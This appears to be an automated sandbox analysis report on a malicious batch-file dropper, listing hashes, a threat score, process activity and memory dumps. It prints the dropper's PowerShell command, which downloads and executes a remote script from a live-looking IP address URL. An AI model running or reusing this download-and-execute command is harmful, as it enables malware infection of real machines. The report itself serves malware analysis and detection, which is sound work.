ebfad7734e6b37d7bf1576bce1883d8f8668cf60a488058efd9b75e598e7076c

Analysis

Target

c378638c5a35bb563b4b36d635451cb9.bat
Size

219B
MD5

8e9d65b141e89c3d651fa89e306b9b0f
SHA1

5e1c4e09823b5c79eb82dc0d3994f7380c6f5d22
SHA256

ebfad7734e6b37d7bf1576bce1883d8f8668cf60a488058efd9b75e598e7076c
SHA512

50d0f6edf1d5a12640d5e826491bc8b6669360b1aae12e7052eab88ecba33c4b87ce39750eb55507276af60ca202dbf726c688d01aad7ce76d7668d26195a834

Score

10^/10

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/c378638c5a35bb563b4b36d635451cb9

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2024 wrote to memory of 2136	2024	cmd.exe	powershell.exe
PID 2024 wrote to memory of 2136	2024	cmd.exe	powershell.exe
PID 2024 wrote to memory of 2136	2024	cmd.exe	powershell.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2700 2136 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2700 WerFault.exe
Token: SeBackupPrivilege 2700 WerFault.exe
Token: SeDebugPrivilege 2700 WerFault.exe

pid	pid_target	process	target process
2700	2136	WerFault.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c378638c5a35bb563b4b36d635451cb9.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/c378638c5a35bb563b4b36d635451cb9');Invoke-XDMKAXFLNOPB;Start-Sleep -s 10000"
2⤵
PID:2136

memory/2136-0-0x0000000000000000-mapping.dmp

Download
memory/2136-2-0x0000000000000000-mapping.dmp

Download
memory/2136-3-0x0000000000000000-mapping.dmp

Download
memory/2136-4-0x0000000000000000-mapping.dmp

Download
memory/2136-6-0x0000000000000000-mapping.dmp

Download
memory/2136-5-0x0000000000000000-mapping.dmp

Download
memory/2136-7-0x0000000000000000-mapping.dmp

Download
memory/2700-1-0x00000000048E0000-0x00000000048E1000-memory.dmp

Filesize
4KB

Download
memory/2700-8-0x0000000005010000-0x0000000005011000-memory.dmp

Filesize
4KB

Download